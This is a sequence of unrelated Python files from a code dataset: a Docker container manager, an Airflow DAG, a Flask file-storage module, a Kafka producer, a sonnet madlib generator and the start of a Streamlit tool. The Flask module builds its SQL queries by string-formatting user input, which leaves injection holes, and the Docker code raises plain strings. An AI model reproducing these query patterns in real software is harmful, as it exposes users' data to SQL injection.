self.module.fail_json(\n msg=\"Unknown error message: {}\".format(\n status['error']),\n failed=True\n )\n\n new_image_id = self.get_image_id()\n self.changed = old_image_id != new_image_id\n def remove_container(self):\n if self.check_container():\n self.changed = True\n # NOTE(jeffrey4l): in some case, docker failed to remove container\n # filesystem and raise error. But the container info is\n # disappeared already. If this happens, assume the container is\n # removed.\n try:\n self.dc.remove_container(\n container=self.params.get('name'),\n force=True\n )\n except docker.errors.APIError:\n if self.check_container():\n raise\n def check_container(self):\n find_name = '/{}'.format(self.params.get('name'))\n for cont in self.dc.containers(all=True):\n if find_name in cont['Names']:\n return cont\n\n def generate_volumes(self):\n volumes = self.params.get('volumes')\n if not volumes:\n return None, None\n\n vol_list = list()\n vol_dict = dict()\n\n for vol in volumes:\n if len(vol) == 0:\n continue\n\n if ':' not in vol:\n vol_list.append(vol)\n continue\n\n split_vol = vol.split(':')\n\n if (len(split_vol) == 2\n and ('/' not in split_vol[0] or '/' in split_vol[1])):\n split_vol.append('rw')\n\n vol_list.append(split_vol[1])\n vol_dict.update({\n split_vol[0]: {\n 'bind': split_vol[1],\n 'mode': split_vol[2]\n }\n })\n\n return vol_list, vol_dict\n\n def parse_image(self):\n full_image = self.params.get('image')\n\n if '/' in full_image:\n registry, image = full_image.split('/', 1)\n else:\n image = full_image\n\n if ':' in image:\n return full_image.rsplit(':', 1)\n else:\n return full_image, 'latest'\n\n def check_image(self):\n find_image = ':'.join(self.parse_image())\n for image in self.dc.images():\n repo_tags = image.get('RepoTags')\n if not repo_tags:\n continue\n for image_name in repo_tags:\n if image_name == find_image:\n return image\n\n def build_container_options(self):\n volumes, binds = self.generate_volumes()\n self.params['tty'] = bool(self.params['tty'])\n self.params['detach'] = bool(self.params['detach'])\n self.params['privileged'] = bool(self.params['privileged'] )\n self.params['remove_on_exit'] = bool(self.params['remove_on_exit'])\n if self.params.get('command')==\"None\":\n self.params['command']=None\n return {\n 'command': self.params.get('command'),\n 'detach': self.params.get('detach'),\n 'environment': self.params.get('environment'),\n 'host_config': self.build_host_config(binds),\n 'labels': self.params.get('labels'),\n 'image': self.params.get('image'),\n 'name': self.params.get('name'),\n 'volumes': volumes,\n 'tty': self.params.get('tty'),\n }\n def build_host_config(self, binds):\n if self.params.get('volumes_from') == \"None\":\n self.params['volumes_from']=None\n options = {\n 'network_mode': 'host',\n 'ipc_mode': self.params.get('ipc_mode'),\n 'cap_add': self.params.get('cap_add'),\n 'security_opt': self.params.get('security_opt'),\n 'pid_mode': self.params.get('pid_mode'),\n 'privileged': self.params.get('privileged'),\n 'volumes_from': self.params.get('volumes_from')\n }\n\n if self.params.get('restart_policy') in ['on-failure',\n 'always',\n 'unless-stopped']:\n policy = {'Name': self.params.get('restart_policy')}\n # NOTE(Jeffrey4l): MaximumRetryCount is only needed for on-failure\n # policy\n if self.params.get('restart_policy') == 'on-failure':\n retries = self.params.get('restart_retries')\n policy['MaximumRetryCount'] = retries\n options['restart_policy'] = policy\n\n if binds:\n options['binds'] = binds\n\n return self.dc.create_host_config(**options)\n\n def _inject_env_var(self, environment_info):\n newenv = {\n 'KOLLA_SERVICE_NAME': self.params.get('name').replace('_', '-')\n }\n environment_info.update(newenv)\n return environment_info\n\n def _format_env_vars(self):\n env = self._inject_env_var(self.params.get('environment'))\n return {k: \"\" if env[k] is None else env[k] for k in env}\n\n def create_container(self):\n self.changed = True\n options = self.build_container_options()\n self.dc.create_container(**options)\n\n def recreate_or_restart_container(self):\n self.changed = True\n container = self.check_container()\n\n if not container:\n self.start_container()\n return\n\n def start_container(self):\n if not self.check_image():\n self.pull_image()\n\n container = self.check_container()\n if container and self.check_container_differs():\n self.stop_container()\n self.remove_container()\n container = self.check_container()\n\n if not container:\n self.create_container()\n container = self.check_container()\n\n if not container['Status'].startswith('Up '):\n self.changed = True\n self.dc.start(container=self.params.get('name'))\n\n # We do not want to detach so we wait around for container to exit\n if not self.params.get('detach'):\n rc = self.dc.wait(self.params.get('name'))\n # NOTE(jeffrey4l): since python docker package 3.0, wait return a\n # dict all the time.\n if isinstance(rc, dict):\n rc = rc['StatusCode']\n # Include container's return code, standard output and error in the\n # result.\n self.result['rc'] = rc\n self.result['stdout'] = self.dc.logs(self.params.get('name'),\n stdout=True, stderr=False)\n self.result['stderr'] = self.dc.logs(self.params.get('name'),\n stdout=False, stderr=True)\n if self.params.get('remove_on_exit'):\n self.stop_container()\n self.remove_container()\n if rc != 0:\n raise (\"Container exited with non-zero return code %s\" % rc)\n\n\nclass ComputeManager_docker(base.Base):\n\n target = messaging.Target(namespace='docker', version='4.0')\n def __init__(self):\n super(ComputeManager_docker, self).__init__()\n self.compute_rpcapi = compute_rpcapi.ComputeAPI()\n self.servicegroup_api = servicegroup.API()\n self.notifier = rpc.get_notifier('compute', CONF.host)\n\n def reset(self):\n LOG.info(_LI('Reloading compute RPC API'))\n compute_rpcapi.LAST_VERSION = None\n self.compute_rpcapi = compute_rpcapi.ComputeAPI()\n\n\n @compute_utils.mark_describe_task(namespace='docker',\n describe=\"operate on the container\",\n parameters={'action':\"docker action method\",\n 'image':'docker image name'})\n def start_container(self, context, parameters,topic):\n LOG.info(_LI(\"docker operate: %s\"),json.dumps(parameters))\n out,status,method = '','FAIL','get'\n stepid = parameters.get('stepid', None)\n try:\n dw = DockerWorker(parameters)\n dw.start_container()\n out=\"start container successfully\"\n status=\"PASS\"\n rpclient.RPCClient(topic=topic).result(ctxt=context, method=method, out=out, status=status, stepid=stepid)\n except BaseException as e:\n status = \"FAIL\"\n out=e.message\n LOG.info(str(e.message))\n rpclient.RPCClient(topic=topic).result(ctxt=context, method=method, out=out, status=status, stepid=stepid)\n\n\n\n\n def remove_container(self, context, parameters,topic):\n LOG.info(_LI(\"docker operate: %s\"),json.dumps(parameters))\n out,status,method = '','FAIL','get'\n stepid = parameters.get('stepid', None)\n try:\n dw = DockerWorker(parameters)\n dw.remove_container()\n out=\"start container successfully\"\n status=\"PASS\"\n rpclient.RPCClient(topic=topic).result(ctxt=context, method=method, out=out, status=status, stepid=stepid)\n except BaseException as e:\n status = \"FAIL\"\n out=e.message\n LOG.info(str(e.message))\n rpclient.RPCClient(topic=topic).result(ctxt=context, method=method, out=out, status=status, stepid=stepid)\n\n def docker_command(self, context, parameters,topic):\n name=parameters.get('name')\n command=parameters.get('command')\n out, status, method = '', 'FAIL', 'docker_command'\n stepid = parameters.get('stepid', None)\n try:\n dc = get_docker_client()(version='auto')\n con = dc.containers(filters=dict(name=name,\n status='running'))\n if not con:raise (\"container is not running\")\n con = con[0]\n job = dc.exec_create(con, command)\n out = dc.exec_start(job)\n status = \"PASS\"\n rpclient.RPCClient(topic=topic).result(ctxt=context, method=method, out=out, status=status, stepid=stepid)\n except BaseException as e:\n status = \"FAIL\"\n out=e.message\n LOG.info(str(e.message))\n rpclient.RPCClient(topic=topic).result(ctxt=context, method=method, out=out, status=status, stepid=stepid)\n\n\n\n\n\n\n\n","repo_name":"KevinKaiQian/polar-bear","sub_path":"nova/compute/manager_docker.py","file_name":"manager_docker.py","file_ext":"py","file_size_in_byte":12878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"71031812039","text":"for c in range(1, 6):\r\n weight = float(input(f'Weight {c}: '))\r\n if c == 1:\r\n max = min = weight\r\n if weight > max:\r\n max = weight\r\n elif weight < min:\r\n min = weight\r\nprint(f'The max weight registered is {max}')\r\nprint(f'The min weight registered is {min}')\r\n","repo_name":"Anderson-Jr/Estudos-Python-CeV","sub_path":"Desafio 055.py","file_name":"Desafio 055.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"21087869176","text":"# From http://airflow.apache.org/docs/apache-airflow/stable/tutorial.html\nfrom datetime import timedelta, datetime\n\n# DAG object to instantiate a DAG\nfrom airflow import DAG\n\n# Operators\nfrom airflow.operators.bash import BashOperator\n\n\n# Arguments will be passed on to each operator\n# BaseOperator's parameter reference:\n# http://airflow.apache.org/docs/apache-airflow/stable/_api/airflow/models/index.html#airflow.models.BaseOperator\ndefault_args = {\n 'owner': 'airflow',\n 'depends_on_past': False,\n 'email': ['hahafree12@gmail.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5)\n}\n\ndag = DAG(\n 'yungon_first',\n default_args=default_args,\n description='First DAG example',\n schedule_interval=timedelta(days=1),\n start_date=datetime(2021, 2, 18),\n tags=['example']\n)\n\n# Examples of tasks created by instantiating operators\nt1 = BashOperator(\n task_id='print_date',\n bash_command='date',\n dag=dag\n)\n\ntemplate_command = 'echo \"{{ params.message }}\"'\n\nt2 = BashOperator(\n task_id='print_message',\n bash_command=template_command,\n params={ \"message\": \"This is test.\"},\n dag=dag\n)\n\n# Run t1 first, after run t2\nt1 >> t2","repo_name":"rubysoho07/data-workflow-from-scratch","sub_path":"dags/first_dag.py","file_name":"first_dag.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13713844900","text":"#!/usr/bin/env python3\n\nimport re\nimport sys\nimport argparse\nfrom logging import Logger, basicConfig, getLogger\nfrom os import getenv, environ\nfrom pathlib import Path\nfrom typing import List\n\n\nlogger = getLogger(__name__) # type: Logger\n\natcoder_include = re.compile('#include\\s*[\"<](hesylib/[a-z_]*(|.hpp))[\">]\\s*')\ncode_start_statement = re.compile('//\\s*CODE_START_HERE\\s*')\n\ninclude_guard = re.compile('#.*HESY_[A-Z_]*_HPP')\n\nlib_path = Path.cwd()\n\ndefined = set()\n\nif __name__ == \"__main__\":\n basicConfig(\n format=\"%(asctime)s [%(levelname)s] %(message)s\",\n datefmt=\"%H:%M:%S\",\n level=getenv('LOG_LEVEL', 'INFO'),\n )\n parser = argparse.ArgumentParser(description='Expander')\n parser.add_argument('source', help='Source File')\n opts = parser.parse_args()\n\n s = open(opts.source).read()\n\n result = [\"#include\"]\n flag = False\n for line in s.splitlines():\n if flag:\n result.append(line)\n m = code_start_statement.match(line)\n if m:\n flag = True\n\n output = '\\n'.join(result) + '\\n'\n with open('unzip.cpp', 'w') as f:\n f.write(output)\n","repo_name":"hsyi/cp-env","sub_path":"cf/helpbin/ziphead.py","file_name":"ziphead.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11534344935","text":"# -*- coding: utf-8 -*-\n\nimport os\nfrom time import time\nfrom flask import g\nfrom wtforms import Form, TextField, validators\n\nclass File(object):\n def __init__(self, file_dict):\n self.id = file_dict['fileid']\n self.name = file_dict['filename']\n self.userid = file_dict['userid']\n self.is_private = file_dict['fileident'] == '1'\n self.upload_datetime = file_dict['upload']\n self.modify_datetime = file_dict['modify']\n self.count = file_dict['count']\n self.location = file_dict['location']\n self.type = file_dict['type']\n self.folderid = file_dict['folderid']\n\nclass Folder(object):\n def __init__(self, folderid, foldername, userid):\n self.id = folderid\n self.name = foldername\n self.userid = userid\n\nclass EditFileForm(Form):\n filename = TextField('filename', [\n validators.Length(min=1, max=200, message=u'文件名长度必须介于%(min)d与%(max)d之间')\n ])\n\nclass AddFolderForm(Form):\n foldername = TextField('foldername', [\n validators.Length(min=1, max=20, message=u'文件夹名长度必须介于%(min)d与%(max)d之间')\n ])\n\ndef get_files(user_id=None):\n db = g.db\n\n where_sql = ''\n if user_id:\n where_sql = ' OR '.join([ 'userid = %s' % id for id in user_id ])\n\n sql = 'SELECT * FROM `File`%s' % (' WHERE %s' % where_sql if where_sql else '')\n db.query(sql)\n\n data = db.store_result()\n\n return [File(f) for f in data.fetch_row(maxrows=0, how=1)]\n\ndef get_file_by_id(file_id):\n db = g.db\n\n sql = 'SELECT * FROM `File` WHERE `fileid` = \"%s\"' % file_id\n db.query(sql)\n data = db.store_result()\n\n return File(data.fetch_row(how=1)[0])\n\ndef get_files_by_folder(folder_id):\n db = g.db\n\n sql = 'SELECT * FROM `File` WHERE `folderid` = \"%s\"' % folder_id\n db.query(sql)\n\n data = db.store_result()\n\n return [File(f) for f in data.fetch_row(maxrows=0, how=1)]\n\ndef get_files_by_group(group_id):\n db = g.db\n\n sql = ( '''\n SELECT `File`.* FROM `File`, `User` WHERE `User`.`groupid` = \"%s\"\n AND `User`.`userid` = `File`.`userid` AND `File`.`fileident` = 0\n ''' % group_id)\n\n db.query(sql)\n\n data = db.store_result()\n\n return [File(f) for f in data.fetch_row(maxrows=0, how=1)]\n\ndef get_user_shared_files(user_id):\n db = g.db\n\n sql = ( '''\n SELECT `File`.* FROM `User`, `File`, `Group`\n WHERE `Group`.`groupid` = `User`.`groupid` AND `User`.`userid` = `File`.`userid` AND `File`.`fileident` = 0\n AND `User`.`groupid` IN (SELECT `groupid` FROM `User` WHERE `userid` = \"%s\")\n ''' % user_id)\n\n db.query(sql)\n\n data = db.store_result()\n\n return [File(f) for f in data.fetch_row(maxrows=0, how=1)]\n\ndef get_folders(user_id=None):\n db = g.db\n\n sql = 'SELECT * FROM `Folder`'\n\n if user_id:\n sql += ' WHERE `userid` = \"%s\"' % user_id\n db.query(sql)\n\n data = db.store_result()\n\n return [Folder(**f) for f in data.fetch_row(maxrows=0, how=1)]\n\ndef get_folders_dict(user_id=None):\n folders = get_folders(user_id)\n\n return dict([ [folder.id, folder] for folder in folders ])\n\ndef get_folder_by_id(folder_id):\n db = g.db\n\n sql = 'SELECT * FROM `Folder` WHERE `folderid` = \"%s\"' % folder_id\n db.query(sql)\n data = db.store_result()\n\n return Folder(**data.fetch_row(how=1)[0])\n\nFILE_NAME = '{userid}_{fileid}'\n\ndef upload_file(path, request, user_id):\n db = g.db\n\n f = request.files['filename']\n fn = f.filename\n fileident = request.form['private']\n now = int(time())\n\n sql = ('''\n INSERT INTO `File` (`filename`, `userid`, `fileident`, `upload`, `modify`, `type`)\n VALUES ('%s', '%s', '%s', '%s', '%s', '%s')\n ''') % (fn, user_id, fileident, now, now, f.mimetype)\n\n db.query(sql)\n db.commit()\n\n sql = ('''\n SELECT * FROM `File` WHERE `filename` = '%s' and `userid` = '%s' and `fileident` = '%s' and `upload` = '%s'\n and `modify` = '%s' and `type` = '%s'\n ''' % (fn, user_id, fileident, now, now, f.mimetype))\n\n db.query(sql)\n data = db.store_result()\n ff = File(data.fetch_row(how=1)[0])\n ff.location = FILE_NAME.format(userid=user_id, fileid=ff.id)\n\n sql = 'UPDATE `File` SET `location`=\"%s\" WHERE `fileid` = \"%d\"' % (ff.location, ff.id)\n\n db.query(sql)\n db.commit()\n\n path = '%s%s' % (path, ff.location)\n f.save(path)\n\n return ff\n\ndef download_file(file_id, user_id=None, group_id=None):\n if user_id is None and group_id is None:\n return None\n\n db = g.db\n\n sql = 'SELECT * FROM `File` WHERE `fileid` = \"%s\"' % file_id\n\n if user_id and user_id != 1:\n sql += ' AND `userid` = \"%s\"' % user_id\n\n if group_id:\n sql = (\n '''\n SELECT `File`.* FROM `File`, `User` WHERE `File`.`fileid` = \"%s\"\n AND `File`.`userid` = `User`.`userid` AND `User`.`groupid` = \"%s\"\n '''\n % ( file_id, group_id )\n )\n\n db.query(sql)\n data = db.store_result()\n\n if data.num_rows() > 0:\n data = data.fetch_row(how=1)[0]\n\n sql = 'UPDATE `File` SET `count` = `count` + 1 WHERE `fileid` = \"%s\"' % file_id\n db.query(sql)\n db.commit()\n\n return File(data)\n\n return None\n\ndef edit_file(file_id, form):\n db = g.db\n\n fileident = form['private']\n folderid = form['folderid']\n form = EditFileForm(form)\n\n if form.validate():\n filename = form.data['filename'].strip()\n sql = ( '''UPDATE `File` SET `filename` = \"%s\", `fileident` = %s, folderid = %s, modify = \"%s\"\n WHERE `fileid` = %s'''\n % (filename, fileident, folderid if int(folderid) > 0 else 'null', int(time()), file_id) )\n\n db.query(sql)\n db.commit()\n\n return None\n\n return form.errors\n\ndef delete_file(path, file_id, user_id=None, group_id=None):\n if user_id is None and group_id is None:\n return None\n\n db = g.db\n\n sql = 'SELECT * FROM `File` WHERE `fileid` = \"%s\"' % file_id\n\n if user_id and user_id != 1:\n sql += ' AND `userid` = \"%s\"' % user_id\n\n if group_id:\n sql = (\n '''\n SELECT `File`.* FROM `File`, `User` WHERE `File`.`fileid` = \"%s\"\n AND `File`.`userid` = `User`.`userid` AND `User`.`groupid` = \"%s\"\n '''\n % ( file_id, group_id )\n )\n\n db.query(sql)\n data = db.store_result()\n\n if data.num_rows() > 0:\n data = data.fetch_row(how=1)[0]\n ff = File(data)\n\n sql = 'DELETE FROM `File` WHERE `fileid` = \"%s\"' % file_id\n db.query(sql)\n db.commit()\n\n os.remove(path + ff.location)\n\n return None\n\n return 'File not exist'\n\ndef add_folder(form, user_id):\n form = AddFolderForm(form)\n foldername = form.data['foldername'].strip()\n\n if form.validate():\n db = g.db\n\n sql = 'SELECT * FROM `Folder` WHERE `userid` = \"%s\" AND `foldername` = \"%s\"' % (user_id, foldername)\n\n db.query(sql)\n data = db.store_result()\n\n if data.num_rows() > 0:\n return {\n 'foldername': [u'文件夹已经存在,请重新输入一个文件夹名']\n }\n\n sql = 'INSERT INTO `Folder` (`foldername`, `userid`) VALUES (\"%s\", \"%s\")' % (foldername, user_id)\n db.query(sql)\n db.commit()\n\n return None\n\n return form.errors\n\ndef add_file_to_folder(file_id, folder_id, user_id):\n db = g.db\n\n sql = 'UPDATE `File` SET `folderid` = \"%s\" WHERE `fileid` = \"%s\" and `userid` = \"%s\"' % (folder_id, file_id, user_id)\n db.query(sql)\n db.commit()\n","repo_name":"gonghao/cloudstore","sub_path":"files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":7606,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"69840496517","text":"import random\nfrom nltk import pos_tag as pos_t\nfrom nltk import word_tokenize as w_token\nfrom gtts import gTTS\nfrom nltk import data as something\nimport os\nimport re\nimport logging\nfrom django.core.files.temp import NamedTemporaryFile\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsomething.path.append(BASE_DIR + '/nltk_data')\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s - %(levelname)s - %(message)s\")\nlogging.disable(logging.DEBUG)\n\ndef sonnetize():\n \"\"\"\n Splits on AAA-, after doing that I realized I could also split based on multiple \\n's\n for future adlib files I may change it\n :return: random sonnet from an edited text file\n \"\"\"\n with open('./static/new_sonnets.txt', 'r') as text:\n sonnets = text.read()\n sonnet=sonnets.split(\"AAA-\")\n\n return (sonnet[random.randint(1,154)])\n\nclass Sonnet:\n def __init__(self, num=0):\n self.selection = WordSearch.specific_sonnet(num)\n\n def read_it_to_me(self):\n \"\"\"\n\n :return: spoken text\n \"\"\"\n outloud= ('/tmp/temp.wav')\n top= re.search(\"\\n\", self.selection)\n tts = gTTS(text=self.selection[top.start():], lang='en-uk')\n tts.save(outloud)\n\n\n\n\nclass WordSearch:\n \"\"\" Initializes a sonnet into word parts, keeps an original and makes a duplicate to edit so you can compare at\nthe end of all of it if you'd like\"\"\"\n\n def __init__(self, num):\n self.original = self.specific_sonnet(num)\n self.edited = self.original\n self.sonnet = self.original.replace(\"\\n\", \" \")\n self.nouns = self.filter_nouns()\n self.plnouns = self.filter_plnouns()\n self.verbs = self.filter_verb()\n self.verbed = self.filter_verbed()\n self.adverb = self.filter_adverb()\n self.adjectives = self.filter_adjectives()\n\n def read_it_to_me(self):\n \"\"\"\n\n :return: spoken text\n \"\"\"\n # outloud= ('/tmp/temp.wav')\n top= re.search(\"\\n\", self.edited)\n # tts =\n return gTTS(text=self.edited[top.start():], lang='en-uk')\n # tts.save(outloud)\n\n def specific_sonnet(self, num):\n with open('static/new_sonnets.txt', 'r') as text:\n sonnets = text.read()\n sonnet = sonnets.split(\"AAA-\")\n if num == 0:\n self.randomed=random.randint(1, 154)\n return (sonnet[self.randomed])\n else:\n return (sonnet[num])\n\n def selection(self, x):\n \"\"\"\n Randomizes amount of words in each category will be assigned\n :param x: user number\n :return:\n \"\"\"\n y = random.randint(0, x)\n yield (x, y)\n\n def format_to_change(self, user_num):\n changee = []\n to_change = 0\n while user_num > 0:\n user_num, to_change = (next(self.selection(user_num - to_change)))\n if user_num > 2 and user_num != to_change:\n changee.append(to_change)\n elif user_num == to_change:\n changee.append(user_num)\n break\n else:\n changee.append(to_change)\n changee = self.evenoutlist(changee) # just ensuring that no list exceeds numbers of word type\n return (changee)\n\n def evenoutlist(self, items):\n \"\"\" Evens out the distribution of tasks. Also makes sure you are not asked to fill out more than each of the\n available word types\"\"\"\n total = sum(items)\n mydict = {0: self.nouns, 1: self.verbs, 2: self.adverb,\n 3: self.adjectives, 4: self.verbed, 5: self.plnouns}\n while len(items) < 6:\n items.append(0)\n for i in range(0, 5):\n if items[i] > len(mydict[i]) and items[i] < total // 3:\n items[i + 1] += items[i] - len(mydict[i])\n items[i] = len(mydict[i])\n elif items[i] > len(mydict[i]):\n items[i + 1] += items[i] - len(mydict[i])\n items[i] = len(mydict[i])\n elif items[i] > total // 3:\n items[i + 1] += (items[i]) - (total // 3)\n items[i] = total // 3\n else:\n pass\n # Bookending plural nouns to go back to the nouns since sometimes there are very few of them.\n if items[5] > total // 3:\n items[0] += items[5] - total // 3\n items[5] = total // 4\n elif items[5] > len(mydict[5]):\n items[0] += len(mydict[5]) - items[5]\n items[5] = len(mydict[5])\n if sum(items) < total:\n items[0] = items[0] + (total - sum(items))\n logging.debug(f\"Your evened out list {items}\")\n while len(items)>6:\n try:\n items.remove(0)\n except:\n items.remove(1)\n items[0]+=1\n return (items)\n\n def filter_nouns(self):\n \"\"\"\n Skips the first noun due to sometimes mistakenly tokenizing the Roman numeral.\n :return: nouns\n \"\"\"\n nouns = []\n for word, pos in pos_t(w_token(str(self.sonnet))):\n if (pos == 'NN'):\n nouns.append(word)\n return(nouns[1:])\n\n def filter_plnouns(self):\n \"\"\"\n\n :return: Plural nouns\n \"\"\"\n plnouns=[]\n for word, pos in pos_t(w_token(str(self.sonnet))):\n if (pos == 'NNS'):\n plnouns.append(word)\n return plnouns\n\n def filter_verb(self):\n \"\"\"\n :return: List of verbs\n \"\"\"\n verbs=[]\n for word, pos in pos_t(w_token(str(self.sonnet))):\n if (pos == 'VB'):\n verbs.append(word)\n return verbs\n\n def filter_verbed(self):\n \"\"\"\n :return: list of past tense verbs\n \"\"\"\n verbed=[]\n for word, pos in pos_t(w_token(str(self.sonnet))):\n if (pos == 'VBD'):\n verbed.append(word)\n return verbed\n\n def filter_adverb(self):\n \"\"\"\n Took out some adverbs that made some of the sonnets too wonky\n :return: adverbs\n \"\"\"\n adverbs=[]\n nogo=['not', 'now', 'so', 'too', 'then', 'there', 'as', 'ever', 'very', 'no', 'yours']\n for word, pos in pos_t(w_token(str(self.sonnet))):\n if (pos == 'RB'):\n adverbs.append(word)\n\n for word in nogo:\n if word in adverbs:\n adverbs.remove(word)\n return adverbs\n\n def filter_adjectives(self):\n \"\"\"\n\n :return: adjectives\n \"\"\"\n adjectives=[]\n nogo=[\"thee\",\"though\",\"thy\",\"thine\"]\n for word, pos in pos_t(w_token(str(self.sonnet))):\n if (pos == 'JJ') and word not in nogo:\n adjectives.append(word)\n\n return adjectives\n\n\n\n\n\n def new_nouns(self, user_nouns):\n \"\"\"\n\n :return: madlib updated with new nouns\n \"\"\"\n word_change= []\n for times in range(len(user_nouns)):\n x = (random.randint(0, len(self.nouns) - 1))\n while x in word_change:\n x = (random.randint(0, len(self.nouns) - 1))\n word_change.append(x)\n for index, word in enumerate(user_nouns):\n old = self.nouns[word_change[index]]\n self.edited = re.sub(rf'(\\s){(old)}(\\W)', f\"\\g<1>{word.upper()}\\g<2>\", self.edited, 1)\n logging.debug(f\"{old}: original noun, {word.upper()}, new noun\")\n\n def new_verbs(self, user_verbs):\n \"\"\"\n\n :return: madlib update with new verbs\n \"\"\"\n word_change=[]\n for times in range(len(user_verbs)):\n x = (random.randint(0, len(self.verbs) - 1))\n while x in word_change:\n x = (random.randint(0, len(self.verbs) - 1))\n word_change.append(x)\n for index, word in enumerate(user_verbs):\n old = self.verbs[word_change[index]]\n self.edited = re.sub(rf'(\\s){(old)}(\\W)', f\"\\g<1>{word.upper()}\\g<2>\", self.edited, 1)\n logging.debug(f\"{old}: original verb, {word.upper()}, new verb\")\n\n\n def new_adverbs(self, user_adverbs):\n \"\"\"\n\n :return: madlib updated with user adverbs\n \"\"\"\n word_change=[]\n for times in range(len(user_adverbs)):\n x = (random.randint(0, len(self.adverb) - 1))\n while x in word_change:\n x = (random.randint(0, len(self.adverb) - 1))\n word_change.append(x)\n for index, word in enumerate(user_adverbs):\n old = self.adverb[word_change[index]]\n self.edited = re.sub(rf'(\\s){(old)}(\\W)', f\"\\g<1>{word.upper()}\\g<2>\", self.edited, 1)\n logging.debug(f\"{old}: original adverb, {word.upper()}, new adverb\")\n\n def new_adjectives(self, user_adjectives):\n \"\"\"\n\n :return: madlib updated with new adjectives\n \"\"\"\n word_change=[]\n for times in range(len(user_adjectives)):\n\n x = (random.randint(0, len(self.adjectives) - 1))\n while x in word_change:\n x = (random.randint(0, len(self.adjectives) - 1))\n word_change.append(x)\n for index, word in enumerate(user_adjectives):\n old = self.adjectives[word_change[index]]\n self.edited = re.sub(rf'(\\s){(old)}(\\W)', f\"\\g<1>{word.upper()}\\g<2>\", self.edited, 1)\n logging.debug(f\"{old}: original adjective, {word.upper()}, new adjective\")\n\n def new_verbed(self, user_verbed):\n \"\"\"\n\n :return: madlib updated with new past tense verbs\n \"\"\"\n\n word_change = []\n for times in range(len(user_verbed)):\n x = (random.randint(0, len(self.verbed)-1))\n while x in word_change:\n x = (random.randint(0, len(self.verbed)-1))\n word_change.append(x)\n for index, word in enumerate(user_verbed):\n old = self.verbed[word_change[index]]\n self.edited = re.sub(rf'(\\s){(old)}(\\W)', f\"\\g<1>{word.upper()}\\g<2>\", self.edited, 1)\n logging.debug(f\"{old}: original past tense verb, {word.upper()}, new past tense verb\")\n\n def new_plnouns(self, user_plnouns):\n \"\"\"\n\n :return: madlib updated with new plural nouns\n \"\"\"\n word_change = []\n\n for times in range(len(user_plnouns)):\n x = (random.randint(0, len(self.plnouns)-1))\n while x in word_change:\n x = (random.randint(0, len(self.plnouns)-1))\n word_change.append(x)\n for index, word in enumerate(user_plnouns):\n old = self.plnouns[word_change[index]]\n self.edited = re.sub(rf'(\\s){(old)}(\\W)', f\"\\g<1>{word.upper()}\\g<2>\", self.edited, 1)\n logging.debug(f\"{old}: original plural noun, {word.upper()}, new plural noun\")\n\n","repo_name":"AmSmo/bard-djangowork","sub_path":"madlibs/BardWeb.py","file_name":"BardWeb.py","file_ext":"py","file_size_in_byte":10795,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"42705626463","text":"from kafka import KafkaProducer\nimport pickle\nimport os\nimport logging\nfrom time import sleep\nfrom json import dumps\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\n\ndef encode_to_json(x_train, y_train):\n\tx = dumps(x_train.tolist())\n\ty = dumps(y_train.tolist())\n\n\tjsons_comb = [x, y]\n\n\treturn jsons_comb\n\ndef generate_stream(**kwargs):\n\n\tproducer = KafkaProducer(bootstrap_servers=['kafka:9092'], api_version=(0,10,2), value_serializer=lambda x: dumps(x).encode('utf-8'))\n\n\tstream_sample = pickle.load(open(os.getcwd() + kwargs['path_stream_sample'], \"rb\")) # load stream sample file\n\n\tx_new = stream_sample[0]\n\ty_new = stream_sample[1]\n\t\n\tfrauds_sent = 0\n\tshape_sent = 0\n\tfor _ in range(5):\t\n\t\tx_send, x_keep, y_send, y_keep = train_test_split(x_new, y_new, shuffle=True, train_size= int(1e3)*np.random.choice(range(1,3)), stratify=y_new)\n\t\tjson_comb = encode_to_json(x_send.values, y_send.values) # pick observation and encode to JSON\n\t\tproducer.send('TopicA', value=json_comb) # send encoded observation to Kafka topic\n\t\tfrauds_sent += sum(y_send.values)\n\t\tshape_sent += len(y_send)\n\t\tsleep(.1)\n\n\tlogging.info(f'{shape_sent} transactions and {frauds_sent} frauds sent')\n\tproducer.close()\n\n\n","repo_name":"sametmarasli/fraud-detection-pipeline","sub_path":"dags/src/data/kafka_producer.py","file_name":"kafka_producer.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41619498709","text":"# Look here for documenting Python code: https://realpython.com/documenting-python-code/\n\nimport os\n\nimport streamlit as st\n\nimport src.content as content\nimport src.structure as struct\n\n\ndef main():\n # Set up temporary directory.\n wd_dir = os.getcwd()\n if os.path.lexists(os.path.join(wd_dir, \"tmp\")) == False:\n os.mkdir(path=os.path.join(wd_dir, \"tmp\"))\n\n # App\n st.title(\"Stream\")\n st.header(\"A streamlit application template generator\")\n\n st.write(\"
    \", unsafe_allow_html=True)\n\n st.subheader(\"App location and name\") # Directory section\n dir_ = st.text_input(label=\"Directory where to create the app.\\nUse '\\\\\\\\' instead of '\\\\'.\")\n st.write(dir_)\n app_name = st.text_input(label=\"Name of your application.\")\n\n # create temp directory for app - could be used for a future preview functionality\n if os.path.lexists(os.path.join(wd_dir, \"tmp\")):\n if os.path.lexists(os.path.join(wd_dir, \"tmp\", app_name)) == False:\n os.mkdir(path=os.path.join(wd_dir, \"tmp\", app_name))\n\n st.write(app_name)\n st.info(f\"Current working directory: {wd_dir}\")\n\n st.subheader(\"App pages\") # Pages section\n page_num = st.number_input(\n label=\"Number of pages in your app\", min_value=0, max_value=100, value=0, step=1\n )\n\n st.write(\"
